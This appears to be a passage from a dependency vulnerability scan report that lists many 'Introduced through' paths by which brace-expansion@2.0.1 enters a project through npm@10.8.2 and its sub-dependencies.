  • Introduced through: lib@* › npm@10.8.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/config@8.3.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › init-package-json@6.0.3 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmversion@6.0.3 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmversion@6.0.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmaccess@8.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmhook@10.0.5 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmorg@6.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmsearch@7.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmteam@6.0.5 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › npm-profile@10.0.0 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmversion@6.0.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
